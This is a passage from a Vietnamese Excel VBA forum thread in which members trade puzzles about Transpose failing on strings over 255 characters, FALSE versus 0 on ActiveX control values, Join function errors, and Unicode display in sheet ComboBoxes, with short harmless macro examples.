  Dim lR As Long, lC As Long
  Dim arr(1 To 10, 1 To 5)
  For lC = 1 To 10
    For lR = 1 To 5
      arr(lC, lR) = String(25[COLOR=#ff0000]6[/COLOR], "a")
    Next
  Next
  Range("A1").Resize(5, 10) = WorksheetFunction.Transpose(arr)
End Sub

 

[thanhlanh]

Theo anh nói vậy thì TRANSPOSE sẽ LUÔN LUÔN bị lỗi chứ đâu phải là ĐÔI KHI chứ

Sao vậy? Khi ta tạo mảng từ dữ liệu có sẵn, (thường là từ Range nguồn) làm sao ta biết trong dữ liệu có gì? đâu phải lúc nào mỗi phần tử trong mảng cũng dài hơn 255 để gây lỗi.

 

[ndu96081631]

Sao vậy? Khi ta tạo mảng từ dữ liệu có sẵn, (thường là từ Range nguồn) làm sao ta biết trong dữ liệu có gì? đâu phải lúc nào mỗi phần tử trong mảng cũng dài hơn 255 để gây lỗi.

Lúc đầu anh nói rằng: Có trường hợp mà "đôi khi" hàm TRANSPOSE sẽ bị lỗi
Nhưng bây giờ theo ví dụ anh đưa lên thì đâu phải vậy!
Nói đúng ra anh phải đố vầy: Trường hợp nào của dữ liệu mà TRANSPOSE LUÔN LUÔN bị lỗi (chứ hổng phải là đôi khi)

 

[thanhlanh]

Lúc đầu anh nói rằng: Có trường hợp mà "đôi khi" hàm TRANSPOSE sẽ bị lỗi
Nhưng bây giờ theo ví dụ anh đưa lên thì đâu phải vậy!
Nói đúng ra anh phải đố vầy: Trường hợp nào của dữ liệu mà TRANSPOSE LUÔN LUÔN bị lỗi (chứ hổng phải là đôi khi)

Nếu vậy thì còn gì đố nữa, giải luôn cho rồi, dữ liệu sao lường trước được, nghỉ chơi!

 

[ndu96081631]

Nếu vậy thì còn gì đố nữa, giải luôn cho rồi, dữ liệu sao lường trước được, nghỉ chơi!

Ý em nói là anh DÙNG TỪ KHÔNG ĐÚNG
Nếu nói "đôi khi" có nghĩa là với dữ liệu đó, dùng TRANSPOSE có khi được khi không? Còn nếu nói là "luôn luôn" thì với dữ liệu đó, TRANSPOSE nó luôn luôn bị lỗi ---> Hai chuyện khác nhau hoàn toàn mà anh!
Với trường hợp chuổi > 255 ký tự, hàm TRANSPOSE luôn luôn bị lỗi chứ đâu phải khi được khi không gì đâu chứ?
Em nói đúng không?
--------------
Cái chuyện dữ liệu không lường trước thì anh có cách chọn lựa: KHÔNG DÙNG TRANSPOSE
Ngoài cái vụ lỗi "đôi khi" của anh thì TRANSPOSE nó cũng biến đổi dữ liệu nên em chẳng khi nào dùng đến

 

[ndu96081631]

Thế mới "khoai" chớ! Mình ít dùng nhưng cũng nên biết chớ hỉ?
Câu trả lời ngắn gọn: Chỉ cần có (ít nhất) một phần tử trong mảng vượt quá 255 ký tự mà dùng hàm transpose để xoay mảng sẽ bị lỗi.

Để thử nghiệm chúng ta cùng xét một ví dụ dùng Transpose sau:

Sub test1()
    Dim i&, j$, k&
    [COLOR=#0000cd]Dim arr(1 To 10, 1 To 500)[/COLOR]
    For i = 1 To 10
        For k = 1 To 500
            If k = 1 Then j = ""
           [COLOR=#ff0000] If k < 256 Then[/COLOR]
                j = Chr(64 + i) & j
                If i Mod 2 = 0 Then
                    arr(i, k) = "=LEN(RC[-1])"
                Else
                    arr(i, k) = j
                End If
           [COLOR=#ff0000] End If[/COLOR]
        Next
    Next
    Range("a1").Resize(500, 10) = Application.WorksheetFunction.Transpose(arr)
End Sub

Phát hiện ra 1 chuyện: Dòng code màu xanh chỉ cần sửa thành Dim arr(1 To 10, 1 To 500) as String là xong chuyện
Ẹc... Ẹc...
Tức code thành vầy:

Sub test1()
  Dim i&, j$, k&
  Dim arr(1 To 10, 1 To 500)[COLOR=#ff0000] As String[/COLOR]
  For i = 1 To 10
    For k = 1 To 500
      If k = 1 Then j = ""
      j = Chr(64 + i) & j
      If i Mod 2 = 0 Then
        arr(i, k) = "=LEN(RC[-1])"
      Else
        arr(i, k) = j
      End If
    Next
  Next
  Range("a1").Resize(500, 10) = Application.WorksheetFunction.Transpose(arr)
End Sub

OK chứ anh!
Vậy suy ra: Vấn đề nằm ở bộ nhớ! Khai báo biến chính xác là OK tất

 

[thanhlanh]

Phát hiện ra 1 chuyện: Dòng code màu xanh chỉ cần sửa thành Dim arr(1 To 10, 1 To 500) as String là xong chuyện
Ẹc... Ẹc...
Tức code thành vầy:

Sub test1()
  Dim i&, j$, k&
  Dim arr(1 To 10, 1 To 500)[COLOR=#ff0000] As String[/COLOR]
  For i = 1 To 10
    For k = 1 To 500
      If k = 1 Then j = ""
      j = Chr(64 + i) & j
      If i Mod 2 = 0 Then
        arr(i, k) = "=LEN(RC[-1])"
      Else
        arr(i, k) = j
      End If
    Next
  Next
  Range("a1").Resize(500, 10) = Application.WorksheetFunction.Transpose(arr)
End Sub

OK chứ anh!
Vậy suy ra: Vấn đề nằm ở bộ nhớ! Khai báo biến chính xác là OK tất

Với Excel 2003 thì chưa thể OK, vả lại mảng đưa vào Range đâu phải cột nào cũng String?

 

[ndu96081631]

Với Excel 2003 thì chưa thể OK, vả lại mảng đưa vào Range đâu phải cột nào cũng String?

Tóm lại là: Code như trên là để giải quyết câu đố vui của anh. Còn thực tế, chả ai lại đi xài TRANSPOSE cho nó mệt, nhất là với dữ liệu lớn, TRANSPOSE còn chậm hơn em dùng 2 vòng lập nữa là

 

[anhtuan1066]

Giá trị FALSE và 0 có sự khác biệt

Khi ta mở cửa sổ Immediate, gõ code: ?FALSE = 0 rồi Enter, ta nhận được kết quả là True. Chứng tỏ giá trị FALSE luôn = 0
Tuy nhiên, trong một số trường hợp nào đó đối với biến Object thì FALSE chưa chắc giống với số 0
Đại khái khi ta dùng một property của object và set cho nó = FASLE sẽ thấy có sự khác biệt so với khi ta set nó =0
Các bạn thử tìm xem thuộc tính gì (trong object gì) có biểu hiện như vậy?
(hơi mông lung nha)

 

[hungpecc1]

Khi ta mở cửa sổ Immediate, gõ code: ?FALSE = 0 rồi Enter, ta nhận được kết quả là True. Chứng tỏ giá trị FALSE luôn = 0
Tuy nhiên, trong một số trường hợp nào đó đối với biến Object thì FALSE chưa chắc giống với số 0
Đại khái khi ta dùng một property của object và set cho nó = FASLE sẽ thấy có sự khác biệt so với khi ta set nó =0
Các bạn thử tìm xem thuộc tính gì (trong object gì) có biểu hiện như vậy?
(hơi mông lung nha)

Có phải là các optionbutton hay checkbox không anh : = Fasle = -4146

 

[anhtuan1066]

Có phải là các optionbutton hay checkbox không anh : = Fasle = -4146

Thì mình có thể thử:
- Vẽ CheckBox v2 OptionButton (ActiveX Controls) lên Sheet1
- Check sẳn vào CheckBox và OptionButon
- Mở cửa sổ Immediate, gõ lệnh: Sheet1.CheckBox1.Value = False rồi Enter và xem kết quả
- Tiếp tục gõ: Sheet1.OptionButton1.Value = False rồi Enter và xem kết quả
- Bây giờ trở lại bảng tính, check vào CheckBox và OptionButton
- Xong, lại gõ vào cửa sổ Immediate dòng lệnh: Sheet1.CheckBox1.Value = 0 và Sheet1.OptionButton1.Value = 0
Bạn xem đâu có gì khác biệt trong 2 cách gán giá trị (FALSE hoặc 0)
-------------------
Ở đây tôi muốn đố mọi người xem thử có 1 object nào mà khi gán giá trị FALSE hoặc 0 cho thuộc tính (nào đó) thì nó sẽ thể hiện kết quả hoàn toàn khác biệt

 

[Hoàng Trọng Nghĩa]

Trường hợp nào với hàm JOIN bị lỗi?

Trong Help có nói:

Join Function

Description

Returns a string created by joining a number of substrings contained in an array.

Syntax:

Join(sourcearray[, delimiter])

sourcearray: Required. One-dimensional array containing substrings to be joined.

delimiter: Optional. String character used to separate the substrings in the returned string. If omitted, the space character (" ") is used. If delimiter is a zero-length string (""), all items in the list are concatenated with no delimiters.

Như vậy hàm Join là một hàm tách thành một chuỗi từ một mảng một chiều, cách thực hiện:

Phần tử trong mảng là dạng chuỗi:

Sub Macro8()
    Dim Arr()
    Arr = Array([COLOR=#0000ff]"Giai", "phap", "Excel", ".", "com"[/COLOR])
    MsgBox [COLOR=#ff0000]Join(Arr, "")[/COLOR]
End Sub

Phần tử trong mảng là dạng số:

Sub Macro9()
    Dim Arr()
    Arr = Array([COLOR=#0000ff]1, 2, 3, 4, 5[/COLOR])
    MsgBox [COLOR=#ff0000]Join(Arr, ", ")[/COLOR]
End Sub

Câu đố đặt ra, Nếu thực hiện đúng cấu trúc, thì khi nào hàm Join sẽ bị lỗi?

 

[anhtuan1066]

Hiển thị tiếng Việt Unicode trên ComboBox (trên sheet)

Với ComboBox trên Sheet (hay ActiveX controls nói chung) thì việc hiển thị tiếng Việt Unicode thật sự có vấn đề:
- Khi ta bấm mũi tên xổ xuống của ComboBox, ta nhìn thấy tiếng Việt Unicode hiển thị rất tốt:





















- Nhưng ngay khi chọn xong 1 Item rồi click chuột vào đâu đó trên bảng tính thì lập tức những ký tự có dấu bị biến thành dấu ?




















Xin hỏi các bạn: Dùng cách gì để khắc phục tình trạng này? Tức có thể hiển thị tiếng Việt Unicode trên ComboBox trong mọi lúc
Câu hỏi này tuy là đố vui nhưng ứng dụng thiết thực đây

 

[Hoàng Trọng Nghĩa]

Với ComboBox trên Sheet (hay ActiveX controls nói chung) thì việc hiển thị tiếng Việt Unicode thật sự có vấn đề:
- Khi ta bấm mũi tên xổ xuống của ComboBox, ta nhìn thấy tiếng Việt Unicode hiển thị rất tốt:

- Nhưng ngay khi chọn xong 1 Item rồi click chuột vào đâu đó trên bảng tính thì lập tức những ký tự có dấu bị biến thành dấu ?


Xin hỏi các bạn: Dùng cách gì để khắc phục tình trạng này? Tức có thể hiển thị tiếng Việt Unicode trên ComboBox trong mọi lúc
Câu hỏi này tuy là đố vui nhưng ứng dụng thiết thực đây

Trời ơi, quá thiết thực luôn! Em đau đầu nhất là việc này nè! Dùng quá trời phương pháp mà bó tay với nó!

 

[Good-Luck]

Với ComboBox trên Sheet (hay ActiveX controls nói chung) thì việc hiển thị tiếng Việt Unicode thật sự có vấn đề:
- Khi ta bấm mũi tên xổ xuống của ComboBox, ta nhìn thấy tiếng Việt Unicode hiển thị rất tốt:

View attachment 110999



















- Nhưng ngay khi chọn xong 1 Item rồi click chuột vào đâu đó trên bảng tính thì lập tức những ký tự có dấu bị biến thành dấu ?

View attachment 111000


















Xin hỏi các bạn: Dùng cách gì để khắc phục tình trạng này? Tức có thể hiển thị tiếng Việt Unicode trên ComboBox trong mọi lúc
Câu hỏi này tuy là đố vui nhưng ứng dụng thiết thực đây

Cái này mình dùng 2 cách:
1) dùng kết hợp hàm Univba của thầy quá cố Phạm Duy Long
2) thiết lập ngôn ngữ hệ thống thành là Việt Nam " cái này là tình cờ phát hiện, nhưng chưa test kỹ lấm"

 

[ndu96081631]

Cái này mình dùng 2 cách:
1) dùng kết hợp hàm Univba của thầy quá cố Phạm Duy Long
2) thiết lập ngôn ngữ hệ thống thành là Việt Nam " cái này là tình cờ phát hiện, nhưng chưa test kỹ lấm"

Bạn làm thử 1 cái gửi lên đây xem. Nhưng nói trước: Cái vụ "thiết lập ngôn ngữ hệ thống thành là Việt Nam" thì thôi.. miễn đi. Bảo đảm chẳng ai muốn làm chuyện này
------------------
Nói thêm rằng: Với bài này tôi thì chẳng cần làm nhiều đến thế, chỉ cần một chút kỹ xảo là xong!
Ẹc... Ẹc...

 

[Hoàng Trọng Nghĩa]

Bạn làm thử 1 cái gửi lên đây xem. Nhưng nói trước: Cái vụ "thiết lập ngôn ngữ hệ thống thành là Việt Nam" thì thôi.. miễn đi. Bảo đảm chẳng ai muốn làm chuyện này
------------------
Nói thêm rằng: Với bài này tôi thì chẳng cần làm nhiều đến thế, chỉ cần một chút kỹ xảo là xong!
Ẹc... Ẹc...

Sau khi nó không được focus nữa thì nó chịu tác động bởi 2 thuộc tính Text và Value nên nó cứ mã hóa các chữ có dấu tiếng Việt thành dấu chấm hỏi (?) cả! Không biết làm sao để can thiệp vào chúng bây giờ!

 

[Good-Luck]

Bạn làm thử 1 cái gửi lên đây xem. Nhưng nói trước: Cái vụ "thiết lập ngôn ngữ hệ thống thành là Việt Nam" thì thôi.. miễn đi. Bảo đảm chẳng ai muốn làm chuyện này
------------------
Nói thêm rằng: Với bài này tôi thì chẳng cần làm nhiều đến thế, chỉ cần một chút kỹ xảo là xong!
Ẹc... Ẹc...

cái này là thay đổi ngôn ngữ trong hệ thống :
[video=youtube;gCuCfreqZ1g]http://www.youtube.com/watch?v=gCuCfreqZ1g&amp;feature=youtu.be[/video]

 

[ndu96081631]

cái này là thay đổi ngôn ngữ trong hệ thống :

Tôi không bao giờ chơi chiêu thay đổi ngôn ngữ, vì chẳng ai thích làm vậy bao giờ
Thêm nữa: Theo như trong video clip thì tôi thấy hình như bạn đang thí nghiệm với Dropdown chứ không phải ComboBox
(ComboBox là ActiveX Controls nha, còn cái của bạn là Dropdown thuộc Forms)

 

[nmhung49]

(ComboBox là ActiveX Controls nha, còn cái của bạn là Dropdown thuộc Forms)

Cách của em là vào Properties --> Font -->Script Vietnamese mà sao chỉ đúng với unicode tổ hợp còn unicode dựng sẵn bị lỗi (test ở máy em)

 

[nghiaphuc]

Tôi không bao giờ chơi chiêu thay đổi ngôn ngữ, vì chẳng ai thích làm vậy bao giờ
Thêm nữa: Theo như trong video clip thì tôi thấy hình như bạn đang thí nghiệm với Dropdown chứ không phải ComboBox
(ComboBox là ActiveX Controls nha, còn cái của bạn là Dropdown thuộc Forms)

Trong Video đúng là đối tượng ComboBox của Form Controls, mà nếu sử dụng cái này thì cần quái gì phải thay đổi ngôn ngữ hệ thống, cứ để mặc định của Windows cũng dùng được vậy.